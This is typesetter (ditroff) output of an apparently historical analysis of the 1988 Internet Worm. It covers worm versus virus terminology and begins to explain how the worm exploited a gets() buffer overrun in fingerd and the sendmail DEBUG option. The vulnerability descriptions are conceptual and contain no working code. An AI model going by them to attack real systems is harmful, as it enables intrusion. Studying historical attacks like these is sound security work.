720(2.)S
855(Terminology)S
2988 V
10 R
970(There)S
1251(seems)S
1544(to)S
1672(be)S
1816(considerable)S
2370(variation)S
2775(in)S
2903(the)S
3075(names)S
3380(applied)S
3724(to)S
3852(the)S
4024(program)S
4412(described)S
4844(here.)S
3108 V
720(Many)S
984(people)S
1281(have)S
1500(used)S
1714(the)S
1867(term)S
10 I
2081(worm)S
10 R
2340(instead)S
2654(of)S
10 I
2768(virus)S
10 R
2999(based)S
3256(on)S
3386(its)S
3511(behavior.)S
3945(Members)S
4352(of)S
4465(the)S
4617(press)S
4852(have)S
3228 V
720(used)S
943(the)S
1105(term)S
10 I
1328(virus)S
10 R
1528(,)S
1593(possibly)S
1967(because)S
2322(their)S
2545(experience)S
3016(to)S
3134(date)S
3340(has)S
3513(been)S
3741(only)S
3959(with)S
4177(that)S
4367(form)S
4601(of)S
4724(security)S
3348 V
720(problem.)S
1158(This)S
1386(usage)S
1663(has)S
1846(been)S
2084(reinforced)S
2543(by)S
2693(quotes)S
3004(from)S
3248(computer)S
3674(managers)S
4105(and)S
4298(programmers)S
4879(also)S
3468 V
720(unfamiliar)S
1176(with)S
1394(the)S
1556(di)S
1634 H
	(f)show 10 -.5 mul h (f)show
10 R
1695(erence.)S
2049(For)S
2228(purposes)S
2623(of)S
2746(clarifying)S
3174(the)S
3336(terminology,)S
3890(let)S
4031(me)S
4194(de\256ne)S
4479(the)S
4642(di)S
4720 H
	(f)show 10 -.5 mul h (f)show
10 R
4781(erence)S
3588 V
720(between)S
1087(these)S
1327(two)S
1512(terms)S
1769(and)S
1947(give)S
2153(some)S
2398(citations)S
2771(as)S
2888(to)S
3000(their)S
3217(origins;)S
3557(these)S
3796(same)S
4035(de\256nitions)S
4492(were)S
4719(recently)S
3708 V
720(given)S
972(in)S
1080([9]:)S
3864 V
970(A)S
10 I
1072(worm)S
10 R
1330(is)S
1427(a)S
1501(program)S
1869(that)S
2049(can)S
2217(run)S
2380(independently)S
2976(and)S
3150(can)S
3318(propagate)S
3742(a)S
3817(fully)S
4037(working)S
4401(version)S
4726(of)S
4840(itself)S
3984 V
970(to)S
1086(other)S
1329(machines.)S
1799(It)S
1898(is)S
2003(derived)S
2340(from)S
2572(the)S
2732(word)S
10 I
2975(tapeworm)S
10 R
3375(,)S
3438(a)S
3520(parasitic)S
3896(organism)S
4306(that)S
4494(lives)S
4720(inside)S
4996(a)S
4104 V
970(host)S
1167(and)S
1341(uses)S
1543(its)S
1668(resources)S
2074(to)S
2182(maintain)S
2562(itself.)S
4260 V
970(A)S
10 I
1073(virus)S
10 R
1304(is)S
1402(a)S
1477(piece)S
1718(of)S
1832(code)S
2051(that)S
2232(adds)S
2446(itself)S
2677(to)S
2787(other)S
3024(programs,)S
3458(including)S
3868(operating)S
4277(systems.)S
4681(It)S
4774(cannot)S
4380 V
970(run)S
1134(independently\320it)S
1887(requires)S
2239(that)S
2419(its)S
2544(``host'')S
2873(program)S
3241(be)S
3365(run)S
3528(to)S
3636(activate)S
3976(it.)S
4117(As)S
4258(such,)S
4496(it)S
4582(has)S
4745(an)S
4869(ana-)S
4500 V
970(log)S
1134(to)S
1248(biological)S
1684(viruses)S
2003(\320)S
2139(those)S
2386(viruses)S
2705(are)S
2862(not)S
3026(considered)S
3494(alive)S
3724(in)S
3838(the)S
3996(usual)S
4243(sense;)S
4523(instead,)S
4868(they)S
4620 V
970(invade)S
1266(host)S
1463(cells)S
1676(and)S
1850(corrupt)S
2168(them,)S
2423(causing)S
2758(them)S
2988(to)S
3096(produce)S
3447(new)S
3643(viruses.)S
4860 V
10 B
720(2.1.)S
930(Worms)S
5016 V
10 R
970(The)S
1163(concept)S
1511(of)S
1632(a)S
1714(worm)S
1985(program)S
2361(that)S
2549(spreads)S
2887(itself)S
3126(from)S
3359(machine)S
3736(to)S
3853(machine)S
4230(was)S
4424(apparently)S
4884(\256rst)S
5136 V
720(described)S
1134(by)S
1266(John)S
1487(Brunner)S
1846(in)S
1956(1975)S
2188(in)S
2297(his)S
2445(classic)S
2742(science)S
3066(\256ction)S
3353(novel)S
10 I
3606(The)S
3787(Shockwave)S
4261(Rider)S
10 R
4483(.[5])S
4655(He)S
4802(called)S
5256 V
720(these)S
955(programs)S
10 I
1362(tapeworms)S
10 R
1831(that)S
2011(existed)S
2354(``inside'')S
2755(the)S
2907(computers)S
3353(and)S
3527(spread)S
3818(themselves)S
4293(to)S
4402(other)S
4638(machines.)S
5376 V
720(Ten)S
912(years)S
1159(ago,)S
1365(researchers)S
1849(at)S
1958(Xerox)S
2244(PARC)S
2542(built)S
2762(and)S
2942(experimented)S
3521(with)S
10 I
3735(worm)S
10 R
3999(programs.)S
4467(They)S
4708(reported)S
5496 V
720(their)S
935(experiences)S
1437(in)S
1577(1982)S
1809(in)S
1919([25],)S
2142(and)S
2318(cited)S
2544(Brunner)S
2903(as)S
3018(the)S
3172(inspiration)S
3632(for)S
3781(the)S
3936(name)S
10 I
4185(worm)S
10 R
4413(.)S
4501(Although)S
4912(not)S
5616 V
720(the)S
877(\256rst)S
1068(self-replicating)S
1707(programs)S
2119(to)S
2232(run)S
2400(in)S
2513(a)S
2592(network)S
2954(environment,)S
3519(these)S
3759(were)S
3987(the)S
4144(\256rst)S
4334(such)S
4551(programs)S
4962(to)S
5736 V
720(be)S
844(called)S
10 I
1112(worms)S
10 R
1379(.)S
5892 V
970(The)S
1157(worms)S
1461(built)S
1677(at)S
1781(PARC)S
2075(were)S
2300(designed)S
2687(to)S
2797(travel)S
3057(from)S
3284(machine)S
3655(to)S
3766(machine)S
4137(and)S
4314(do)S
4447(useful)S
4724(work)S
4962(in)S
6012 V
720(a)S
798(distributed)S
1260(environment\320they)S
2071(were)S
2298(not)S
2460(used)S
2677(at)S
2783(that)S
2967(time)S
3179(to)S
3291(break)S
3546(into)S
3736(systems.)S
4142(Because)S
4508(of)S
4625(this,)S
4829(some)S
6132 V
720(people)S
1025(prefer)S
1301(to)S
1419(call)S
1603(the)S
1765(Internet)S
2115(Worm)S
2410(a)S
10 I
2494(virus)S
10 R
2734(because)S
3089(it)S
3185(was)S
3380(destructive,)S
3883(and)S
4067(they)S
4279(believe)S
4607(worms)S
4919(are)S
6252 V
720(non-destructive.)S
1429(Not)S
1612(everyone)S
2010(agrees)S
2297(that)S
2480(the)S
2635(Internet)S
2978(Worm)S
3266(was)S
3454(destructive,)S
3950(however.)S
4381(Since)S
4636(intent)S
4896(and)S
6372 V
720(e)S
764 H
	(f)show 10 -.5 mul h (f)show
10 R
825(ect)S
1005(are)S
1190(sometimes)S
1682(di)S
1760 H
	(f)show 10 -.5 mul h (\256)show
10 R
1844(cult)S
2058(to)S
2200(judge)S
2486(because)S
2865(we)S
3045(lack)S
3275(complete)S
3705(information)S
4241(and)S
4449(have)S
4702(di)S
4780 H
	(f)show 10 -.5 mul h (f)show
10 R
4841(erent)S
6492 V
720(de\256nitions)S
1189(of)S
1318(those)S
1575(terms,)S
1868(using)S
2131(them)S
2377(as)S
2506(a)S
2595(naming)S
2940(criterion)S
3323(is)S
3435(clearly)S
3751(insu)S
3918 H
	(f)show 10 -.5 mul h (\256)show
10 R
4002(cient.)S
4296(Unless)S
4613(a)S
4702(di)S
4780 H
	(f)show 10 -.5 mul h (f)show
10 R
4841(erent)S
6612 V
720(naming)S
1055(scheme)S
1389(is)S
1491(generally)S
1897(adopted,)S
2273(programs)S
2685(such)S
2903(as)S
3021(this)S
3201(one)S
3380(should)S
3682(be)S
3811(called)S
10 I
4084(worms)S
10 R
4387(because)S
4738(of)S
4857(their)S
6732 V
720(method)S
1050(of)S
1163(propagation.)S
7920 V
EP
%%Page: 3 4
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2792(- 3 -)S
840 V
10 B
720(2.2.)S
930(Viruses)S
996 V
10 R
970(The)S
1164(\256rst)S
1359(published)S
1787(use)S
1959(of)S
2081(the)S
2242(word)S
10 I
2486(virus)S
10 R
2725(\(to)S
2875(my)S
3042(knowledge\))S
3553(to)S
3671(describe)S
4043(something)S
4500(that)S
4690(infects)S
4996(a)S
1116 V
720(computer)S
1142(was)S
1342(by)S
1487(David)S
1775(Gerrold)S
2129(in)S
2251(his)S
2412(science)S
2749(\256ction)S
3049(short)S
3293(stories)S
3598(about)S
3864(the)S
4030(G.O.D.)S
4365(machine.)S
4802(These)S
1236 V
720(stories)S
1012(were)S
1236(later)S
1444(combined)S
1869(and)S
2044(expanded)S
2457(to)S
2566(form)S
2791(the)S
2944(book)S
10 I
3175(When)S
3433(Harlie)S
3725(Was)S
3928(One)S
10 R
4094(.)S
4151([12])S
4349(A)S
4453(subplot)S
4780(in)S
4890(that)S
1356 V
720(book)S
963(described)S
1388(a)S
1475(program)S
1856(named)S
2165(VIRUS)S
2508(created)S
2838(by)S
2981(an)S
3118(unethical)S
3528(scientist.)S
1306 V
7 R
3881(*)S
1356 V
10 R
3960(A)S
4076(computer)S
4497(infected)S
4862(with)S
1476 V
720(VIRUS)S
1062(would)S
1353(randomly)S
1777(dial)S
1968(the)S
2131(phone)S
2416(until)S
2641(it)S
2738(found)S
3012(another)S
3352(computer.)S
3825(It)S
3927(would)S
4218(then)S
4431(break)S
4693(into)S
4890(that)S
1596 V
720(system)S
1032(and)S
1210(infect)S
1471(it)S
1561(with)S
1773(a)S
1851(copy)S
2079(of)S
2196(VIRUS.)S
2585(This)S
2797(program)S
3169(would)S
3453(in\256ltrate)S
3826(the)S
3982(system)S
4294(software)S
4672(and)S
4851(slow)S
1716 V
720(the)S
881(system)S
1198(down)S
1459(so)S
1587(much)S
1848(that)S
2037(it)S
2132(became)S
2475(unusable)S
2869(\(except)S
3201(to)S
3318(infect)S
3584(other)S
3828(machines\).)S
4332(The)S
4525(inventor)S
4896(had)S
1836 V
720(plans)S
977(to)S
1101(sell)S
1286(a)S
1376(program)S
1761(named)S
2074(VACCINE)S
2565(that)S
2762(could)S
3031(cure)S
3249(VIRUS)S
3596(and)S
3787(prevent)S
4133(infection,)S
4560(but)S
4735(disaster)S
1956 V
720(occurred)S
1098(when)S
1344(noise)S
1585(on)S
1715(a)S
1789(phone)S
2063(line)S
2243(caused)S
2544(VIRUS)S
2874(to)S
2982(mutate)S
3284(so)S
3403(VACCINE)S
3877(ceased)S
4172(to)S
4280(be)S
4404(e)S
4448 H
	(f)show 10 -.5 mul h (f)show
10 R
4509(ective.)S
2112 V
970(The)S
1157(term)S
10 I
1372(computer)S
1781(virus)S
10 R
2013(was)S
2201(\256rst)S
2390(used)S
2606(in)S
2717(a)S
2794(formal)S
3093(way)S
3292(by)S
3425(Fred)S
3641(Cohen)S
3935(at)S
4040(USC.)S
4293([6])S
4442(He)S
4591(de\256ned)S
4918(the)S
2232 V
720(term)S
943(to)S
1061(mean)S
1317(a)S
1401(security)S
1757(problem)S
2130(that)S
2320(attaches)S
2681(itself)S
2921(to)S
3039(other)S
3284(code)S
3512(and)S
3696(turns)S
3936(it)S
4032(into)S
4228(something)S
4685(that)S
4874(pro-)S
2352 V
720(duces)S
980(viruses;)S
1324(to)S
1435(quote)S
1690(from)S
1917(his)S
2067(paper:)S
2349(``We)S
2586(de\256ne)S
2863(a)S
2940(computer)S
3351(`virus')S
3651(as)S
3768(a)S
3846(program)S
4218(that)S
4402(can)S
4574(infect)S
4835(other)S
2472 V
720(programs)S
1138(by)S
1279(modifying)S
1737(them)S
1978(to)S
2097(include)S
2432(a)S
2517(possibly)S
2891(evolved)S
3247(copy)S
3481(of)S
3604(itself.'')S
3965(He)S
4121(claimed)S
4477(the)S
4639(\256rst)S
4835(com-)S
2592 V
720(puter)S
960(virus)S
1195(was)S
1385(``born'')S
1735(on)S
1870(November)S
2327(3,)S
2438(1983,)S
2699(written)S
3018(by)S
3154(himself)S
3490(for)S
3642(a)S
3722(security)S
4074(seminar)S
4426(course,)S
2542 V
7 R
4711(\262)S
2592 V
10 R
4782(and)S
4962(in)S
2712 V
720(his)S
874(Ph.)S
1042(D.)S
1176(dissertation)S
1674(he)S
1805(credited)S
2163(his)S
2317(advisor,)S
2673(L.)S
2796(Adleman,)S
3223(with)S
3437(originating)S
3912(the)S
4070(terminology.)S
4650(However,)S
2832 V
720(there)S
952(are)S
1136(accounts)S
1518(of)S
1634(virus)S
1867(programs)S
2277(being)S
2532(created)S
2852(at)S
2958(least)S
3175(a)S
3253(year)S
3458(earlier,)S
3771(including)S
4183(one)S
4361(written)S
4678(by)S
4812(a)S
4890(stu-)S
2952 V
720(dent)S
922(at)S
1024(Texas)S
1292(A&M)S
1561(during)S
1852(early)S
2081(1982.)S
2902 V
7 R
2306(*)S
3192 V
10 B
720(2.3.)S
930(An)S
1088(Opposing)S
1531(View)S
3348 V
10 R
970(In)S
1092(a)S
1175(widely)S
1486(circulated)S
1918(paper)S
2178([10],)S
2408(Eichin)S
2708(and)S
2891(Rochlis)S
3236(chose)S
3503(to)S
3621(call)S
3805(the)S
3967(November)S
4428(2nd)S
4618(program)S
4996(a)S
3468 V
720(virus.)S
1031(Their)S
1302(reasoning)S
1745(for)S
1916(this)S
2116(required)S
2503(reference)S
2927(to)S
3060(biological)S
3515(literature)S
3930(and)S
4129(observing)S
4578(distinctions)S
3588 V
720(between)S
10 I
1084(lytic)S
1288(viruses)S
10 R
1603(and)S
10 I
1779(lysogenic)S
2188(viruses.)S
10 R
2558(It)S
2651(further)S
2954(requires)S
3308(that)S
3491(we)S
3640(view)S
3867(the)S
4022(Internet)S
4365(as)S
4481(a)S
4558(whole)S
4835(to)S
4946(be)S
3708 V
720(the)S
10 I
872(infected)S
1218(host)S
10 R
1415(rather)S
1677(than)S
1879(each)S
2091(individual)S
2527(machine.)S
3864 V
970(Their)S
1221(explanation)S
1722(merely)S
2034(serves)S
2318(to)S
2431(underscore)S
2903(the)S
3061(dangers)S
3407(of)S
3526(co-opting)S
3945(terms)S
4203(from)S
4433(another)S
4768(discip-)S
3984 V
720(line)S
914(to)S
1036(describe)S
1412(phenomena)S
1916(within)S
2216(our)S
2393(own)S
2608(\(computing\).)S
3200(The)S
3398(original)S
3752(de\256nitions)S
4218(may)S
4433(be)S
4570(much)S
4835(more)S
4104 V
720(complex)S
1106(than)S
1321(we)S
1480(originally)S
1912(imagine,)S
2302(and)S
2489(attempts)S
2871(to)S
2992(maintain)S
3385(and)S
3572(justify)S
3871(the)S
4036(analogies)S
4456(may)S
4671(require)S
4996(a)S
4224 V
720(considerable)S
1254(e)S
1298 H
	(f)show 10 -.5 mul h (f)show
10 R
1359(ort.)S
1555(Here,)S
1803(it)S
1889(may)S
2091(also)S
2282(require)S
2594(an)S
2718(advanced)S
3124(degree)S
3419(in)S
3527(the)S
3679(biological)S
4109(sciences!)S
4380 V
970(The)S
1165(de\256nitions)S
1628(of)S
10 I
1751(worm)S
10 R
2019(and)S
10 I
2203(virus)S
10 R
2443(I)S
2516(have)S
2744(given,)S
3031(based)S
3298(on)S
3438(Cohen's)S
3811(and)S
3995(Denning's)S
4451(de\256nitions,)S
4940(do)S
4500 V
720(not)S
886(require)S
1206(detailed)S
1560(knowledge)S
2036(of)S
2157(biology)S
2501(or)S
2622(pathology.)S
3115(They)S
3357(also)S
3555(correspond)S
4035(well)S
4244(with)S
4459(our)S
4629(traditional)S
4620 V
720(understanding)S
1320(of)S
1437(what)S
1665(a)S
1743(computer)S
2154(``host'')S
2487(is.)S
2643(Although)S
3056(Eichin)S
3352(and)S
3531(Rochlis)S
3872(present)S
4195(a)S
4274(reasoned)S
4663(argument)S
4740 V
720(for)S
872(a)S
952(more)S
1192(precise)S
1509(analogy)S
1860(to)S
1973(biological)S
2408(viruses,)S
2751(we)S
2902(should)S
3204(bear)S
3410(in)S
3523(mind)S
3764(that)S
3949(the)S
4106(nomenclature)S
4684(has)S
4852(been)S
4860 V
720(adopted)S
1068(for)S
1217(the)S
1372(use)S
1538(of)S
1654(computer)S
2064(professionals)S
2624(and)S
2801(not)S
2962(biologists.)S
3440(The)S
3628(terminology)S
4150(should)S
4450(be)S
4577(descriptive,)S
4980 V
720(unambiguous,)S
1315(and)S
1489(easily)S
1752(understood.)S
2281(Using)S
2550(a)S
2624(nonintuitive)S
3138(de\256nition)S
3552(of)S
3665(a)S
3739(``computer)S
4212(host,'')S
4500(and)S
4674(introduc-)S
5100 V
720(ing)S
884(unfamiliar)S
1337(terms)S
1596(such)S
1816(as)S
10 I
1936(lysogenic)S
10 R
2350(does)S
2570(not)S
2735(serve)S
2982(these)S
3224(goals)S
3472(well.)S
3736(As)S
3884(such,)S
4129(the)S
4288(term)S
10 I
4508(worm)S
10 R
4773(should)S
5220 V
720(continue)S
1094(to)S
1202(be)S
1326(the)S
1478(name)S
1724(of)S
1837(choice)S
2127(for)S
2273(this)S
2448(program)S
2816(and)S
2990(others)S
3264(like)S
3444(it.)S
5580 V
10 B
720(3.)S
855(How)S
1085(the)S
1248(Worm)S
1555(Operated)S
5736 V
10 R
970(The)S
1162(Worm)S
1454(took)S
1669(advantage)S
2110(of)S
2230(\257aws)S
2478(in)S
2593(standard)S
2968(software)S
3348(installed)S
3724(on)S
3861(many)S
4120(U)S
8 R
4192(NIX)S
10 R
4371(systems.)S
4780(It)S
4879(also)S
5856 V
720(took)S
932(advantage)S
1370(of)S
1487(a)S
1565(mechanism)S
2054(used)S
2271(to)S
2383(simplify)S
2751(the)S
2906(sharing)S
3233(of)S
3349(resources)S
3758(in)S
3869(local)S
4096(area)S
4294(networks.)S
4718(Speci\256c)S
5976 V
720(patches)S
1056(for)S
1209(these)S
1451(\257aws)S
1699(have)S
1924(been)S
2149(widely)S
2458(circulated)S
2888(in)S
3003(days)S
3223(since)S
3465(the)S
3624(Worm)S
3916(program)S
4291(attacked)S
4660(the)S
4819(Inter-)S
6096 V
720(net.)S
940(Those)S
1227(\257aws)S
1481(are)S
1645(described)S
2070(here,)S
2308(along)S
2572(with)S
2792(some)S
3045(related)S
3358(problems,)S
3797(since)S
4044(we)S
4202(can)S
4382(learn)S
4623(something)S
6216 V
720(about)S
986(software)S
1373(design)S
1678(from)S
1916(them.)S
2215(This)S
2437(is)S
2548(then)S
2764(followed)S
3163(by)S
3307(a)S
3395(description)S
3883(of)S
4010(how)S
4226(the)S
4392(Worm)S
4691(used)S
4918(the)S
6336 V
720(\257aws)S
961(to)S
1069(invade)S
1365(systems.)S
6726 V
8 Y1
720(333333333333333333)S
6844 V
8 R
820(*)S
900(The)S
1048(second)S
1293(edition)S
1538(of)S
1628(the)S
1749(book,)S
1953(recently)S
2232(published,)S
2586(has)S
2716(been)S
2890(``updated'')S
3270(to)S
3356(omit)S
3526(this)S
3665(subplot)S
3924(about)S
4125(VIRUS.)S
6962 V
820(\262)S
900(It)S
972(is)S
1049(ironic)S
1258(that)S
1401(the)S
1522(Internet)S
1792(Worm)S
2019(was)S
2167(loosed)S
2399(on)S
2503(November)S
2863(2,)S
2947(the)S
3068(eve)S
3202(of)S
3292(this)S
3431(``birthday.'')S
7080 V
820(*)S
900(Private)S
1149(communication,)S
1688(Joe)S
1818(Dellinger.)S
7920 V
EP
%%Page: 4 5
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2792(- 4 -)S
840 V
10 B
720(3.1.)S
930(\256ngerd)S
1266(and)S
1458(gets)S
996 V
10 R
970(The)S
10 I
1159(finger)S
10 R
1432(program)S
1804(is)S
1905(a)S
1983(utility)S
2257(that)S
2441(allows)S
2736(users)S
2975(to)S
3087(obtain)S
3371(information)S
3878(about)S
4135(other)S
4375(users.)S
4670(It)S
4766(is)S
4868(usu-)S
1116 V
720(ally)S
901(used)S
1115(to)S
1224(identify)S
1566(the)S
1719(full)S
1889(name)S
2136(or)S
2250(login)S
2487(name)S
2734(of)S
2848(a)S
2923(user,)S
3145(whether)S
3497(a)S
3572(user)S
3769(is)S
3867(currently)S
4258(logged)S
4561(in,)S
4694(and)S
4868(pos-)S
1236 V
720(sibly)S
946(other)S
1182(information)S
1685(about)S
1938(the)S
2091(person)S
2388(such)S
2602(as)S
2716(telephone)S
3136(numbers)S
3512(where)S
3787(he)S
3913(or)S
4028(she)S
4193(can)S
4363(be)S
4489(reached.)S
4885(The)S
1356 V
10 I
720(fingerd)S
10 R
1043(program)S
1415(is)S
1516(intended)S
1894(to)S
2006(run)S
2173(as)S
2290(a)S
2368(daemon,)S
2743(or)S
2860(background)S
3365(process,)S
3723(to)S
3835(service)S
4151(remote)S
4462(requests)S
4823(using)S
1476 V
720(the)S
875(\256nger)S
1141(protocol.)S
1532([14])S
1732(This)S
1944(daemon)S
2294(program)S
2666(accepts)S
2993(connections)S
3504(from)S
3732(remote)S
4043(programs,)S
4479(reads)S
4723(a)S
4801(single)S
1596 V
720(line)S
900(of)S
1013(input,)S
1274(and)S
1448(then)S
1650(sends)S
1902(back)S
2120(output)S
2406(matching)S
2808(the)S
2960(received)S
3327(request.)S
1752 V
970(The)S
1155(bug)S
1335(exploited)S
1737(to)S
1845(break)S
10 I
2096(fingerd)S
10 R
2415(involved)S
2795(overrunning)S
3313(the)S
3465(bu)S
3565 H
	(f)show 10 -.5 mul h (f)show
10 R
3626(er)S
3733(the)S
3885(daemon)S
4232(used)S
4446(for)S
4593(input.)S
4885(The)S
1872 V
720(standard)S
1099(C)S
1207(language)S
1608(I/O)S
1782(library)S
2089(has)S
2263(a)S
2348(few)S
2538(routines)S
2900(that)S
3090(read)S
3301(input)S
3547(without)S
3893(checking)S
4293(for)S
4449(bounds)S
4778(on)S
4918(the)S
1992 V
720(bu)S
820 H
	(f)show 10 -.5 mul h (f)show
10 R
881(er)S
997(involved.)S
1441(In)S
1563(particular,)S
2009(the)S
10 I
2170(gets)S
10 R
2370(call)S
2554(takes)S
2799(input)S
3045(to)S
3163(a)S
3247(bu)S
3347 H
	(f)show 10 -.5 mul h (f)show
10 R
3408(er)S
3525(without)S
3871(doing)S
4139(any)S
4323(bounds)S
4652(checking;)S
2112 V
720(this)S
896(was)S
1082(the)S
1235(call)S
1410(exploited)S
1813(by)S
1944(the)S
2097(Worm.)S
2437(As)S
2578(will)S
2764(be)S
2888(explained)S
3306(later,)S
3538(the)S
3690(input)S
3926(overran)S
4260(the)S
4412(bu)S
4512 H
	(f)show 10 -.5 mul h (f)show
10 R
4573(er)S
4680(allocated)S
2232 V
720(for)S
866(it)S
952(and)S
1126(rewrote)S
1460(the)S
1612(stack)S
1847(frame,)S
2134(thus)S
2331(altering)S
2666(the)S
2818(behavior)S
3197(of)S
3310(the)S
3462(program.)S
2388 V
970(The)S
10 I
1156(gets)S
10 R
1348(routine)S
1662(is)S
1760(not)S
1919(the)S
2072(only)S
2281(routine)S
2595(with)S
2804(this)S
2980(\257aw.)S
3238(There)S
3501(is)S
3599(a)S
3674(whole)S
3949(family)S
4241(of)S
4355(routines)S
4709(in)S
4819(the)S
4973(C)S
2508 V
720(library)S
1021(that)S
1206(may)S
1413(also)S
1609(overrun)S
1954(bu)S
2054 H
	(f)show 10 -.5 mul h (f)show
10 R
2115(ers)S
2266(when)S
2517(decoding)S
2918(input)S
3159(or)S
3276(formatting)S
3732(output)S
4022(unless)S
4306(the)S
4462(user)S
4662(explicitly)S
2628 V
720(speci\256es)S
1094(limits)S
1353(on)S
1483(the)S
1635(number)S
1970(of)S
2083(characters)S
2516(to)S
2624(be)S
2748(converted.)S
2784 V
970(Although)S
1390(experienced)S
1913(C)S
2022(programmers)S
2596(are)S
2759(aware)S
3038(of)S
3163(the)S
3327(problems)S
3741(with)S
3961(these)S
4208(routines,)S
4598(many)S
4863(con-)S
2904 V
720(tinue)S
953(to)S
1064(use)S
1230(them.)S
1518(Worse,)S
1836(their)S
2052(format)S
2351(is)S
2451(in)S
2562(some)S
2806(sense)S
3055(codi\256ed)S
3410(not)S
3571(only)S
3781(by)S
3913(historical)S
4317(inclusion)S
4716(in)S
4826(U)S
8 R
4898(NIX)S
3024 V
10 R
720(and)S
904(the)S
1066(C)S
1173(language,)S
1598(but)S
1766(more)S
2011(formally)S
2395(in)S
2513(the)S
2675(forthcoming)S
3209(ANSI)S
3482(language)S
3882(standard)S
4260(for)S
4416(C.)S
4579(The)S
4775(hazard)S
3144 V
720(with)S
934(these)S
1175(calls)S
1394(is)S
1497(that)S
1682(any)S
1861(network)S
2223(server)S
2501(or)S
2619(privileged)S
3059(program)S
3432(using)S
3684(them)S
3919(may)S
4126(possibly)S
4495(be)S
4624(comprom-)S
3264 V
720(ised)S
911(by)S
1041(careful)S
1347(precalculation)S
1942(of)S
2055(the)S
2207(\(in\)appropriate)S
2835(input.)S
3420 V
970(Interestingly,)S
1533(at)S
1638(least)S
1854(two)S
2038(long-standing)S
2622(\257aws)S
2867(based)S
3128(on)S
3262(this)S
3441(underlying)S
3908(problem)S
4275(have)S
4497(recently)S
4852(been)S
3540 V
720(discovered)S
1185(in)S
1296(other)S
1534(standard)S
1905(BSD)S
2133(U)S
8 R
2205(NIX)S
10 R
2380(commands.)S
2901(Program)S
3277(audits)S
3548(by)S
3680(various)S
4006(individuals)S
4483(have)S
4703(revealed)S
3660 V
720(other)S
973(potential)S
1371(problems,)S
1816(and)S
2008(many)S
2278(patches)S
2626(have)S
2863(been)S
3100(circulated)S
3542(since)S
3796(November)S
4266(to)S
4393(deal)S
4608(with)S
4835(these)S
3780 V
720(\257aws.)S
1030(Despite)S
1379(this,)S
1593(the)S
1759(library)S
2069(routines)S
2435(will)S
2635(continue)S
3023(to)S
3145(be)S
3283(used,)S
3535(and)S
3723(as)S
3850(our)S
4027(memory)S
4404(of)S
4530(this)S
4718(incident)S
3900 V
720(fades,)S
985(new)S
1181(\257aws)S
1422(may)S
1624(be)S
1748(introduced)S
2205(with)S
2413(their)S
2626(use.)S
4140 V
10 B
720(3.2.)S
930(Sendmail)S
4296 V
10 R
970(The)S
1160(sendmail)S
1556(program)S
1929(is)S
2031(a)S
2110(mailer)S
2400(designed)S
2790(to)S
2903(route)S
3143(mail)S
3356(in)S
3470(a)S
3550(heterogeneous)S
4162(internetwork.)S
4733([3])S
4885(The)S
4416 V
720(program)S
1090(operates)S
1454(in)S
1564(several)S
1878(modes,)S
2196(but)S
2356(the)S
2510(one)S
2686(exploited)S
3090(by)S
3222(the)S
3376(Worm)S
3663(involves)S
4034(the)S
4188(mailer)S
4474(operating)S
4882(as)S
4996(a)S
4536 V
720(daemon)S
1090(\(background\))S
1681(process.)S
2089(In)S
2226(this)S
2425(mode,)S
2726(the)S
2902(program)S
3294(is)S
3415(``listening'')S
3946(on)S
4100(a)S
4198(TCP)S
4437(port)S
4653(\(#25\))S
4924(for)S
4656 V
720(attempts)S
1091(to)S
1200(deliver)S
1508(mail)S
1717(using)S
1965(the)S
2118(standard)S
2487(Internet)S
2828(protocol,)S
3217(SMTP)S
3510(\(Simple)S
3858(Mail)S
4078(Transfer)S
4446(Protocol\).)S
4874([20])S
4776 V
720(When)S
996(such)S
1217(an)S
1349(attempt)S
1687(is)S
1792(detected,)S
2187(the)S
2347(daemon)S
2701(enters)S
2977(into)S
3171(a)S
3253(dialog)S
3541(with)S
3757(the)S
3917(remote)S
4232(mailer)S
4525(to)S
4641(determine)S
4896 V
720(sender,)S
1035(recipient,)S
1439(delivery)S
1796(instructions,)S
2318(and)S
2492(message)S
2860(contents.)S
5052 V
970(The)S
1160(bug)S
1345(exploited)S
1752(in)S
10 I
1865(sendmail)S
10 R
2261(had)S
2440(to)S
2553(do)S
2688(with)S
2901(functionality)S
3447(provided)S
3838(by)S
3974(a)S
4054(debugging)S
4512(option)S
4804(in)S
4918(the)S
5172 V
720(code.)S
1004(The)S
1200(Worm)S
1496(would)S
1787(issue)S
2027(the)S
10 I
2189(DEBUG)S
10 R
2567(command)S
3001(to)S
10 I
3119(sendmail)S
10 R
3520(and)S
3704(then)S
3916(specify)S
4244(the)S
4406(recipient)S
4795(of)S
4918(the)S
5292 V
720(message)S
1093(as)S
1211(a)S
1290(set)S
1436(of)S
1554(commands)S
2022(instead)S
2340(of)S
2458(a)S
2537(user)S
2738(address.)S
3127(In)S
3245(normal)S
3563(operation,)S
4000(this)S
4180(is)S
4282(not)S
4445(allowed,)S
4821(but)S
4984(it)S
5412 V
720(is)S
821(present)S
1143(in)S
1255(the)S
1410(debugging)S
1865(code)S
2086(to)S
2197(allow)S
2452(testers)S
2740(to)S
2851(verify)S
3122(that)S
3305(mail)S
3516(is)S
3616(arriving)S
3965(at)S
4070(a)S
4147(particular)S
4562(site)S
4734(without)S
5532 V
720(the)S
885(need)S
1116(to)S
1237(invoke)S
1553(the)S
1719(address)S
2062(resolution)S
2506(routines.)S
2927(By)S
3088(using)S
3349(this)S
3538(feature,)S
3883(testers)S
4182(can)S
4364(run)S
4541(programs)S
4962(to)S
5652 V
720(display)S
1054(the)S
1221(state)S
1449(of)S
1577(the)S
1744(mail)S
1967(system)S
2290(without)S
2641(sending)S
2997(mail)S
3220(or)S
3347(establishing)S
3869(a)S
3957(separate)S
4327(login)S
4577(connection.)S
5772 V
720(This)S
937(debug)S
1220(option)S
1515(is)S
1621(often)S
1865(used)S
2087(because)S
2441(of)S
2563(the)S
2724(complexity)S
3213(of)S
3335(con\256guring)S
3835(sendmail)S
4235(for)S
4390(local)S
4623(conditions)S
5892 V
720(and)S
894(it)S
980(is)S
1077(often)S
1312(left)S
1475(turned)S
1760(on)S
1890(by)S
2020(many)S
2272(vendors)S
2618(and)S
2792(site)S
2961(administrators.)S
6048 V
970(The)S
1161(sendmail)S
1558(program)S
1933(is)S
2037(of)S
2157(immense)S
2555(importance)S
3041(on)S
3178(most)S
3410(Berkeley-derived)S
4139(\(and)S
4353(other\))S
4628(U)S
8 R
4700(NIX)S
10 R
4879(sys-)S
6168 V
720(tems)S
945(because)S
1296(it)S
1388(handles)S
1729(the)S
1887(complex)S
2267(tasks)S
2503(of)S
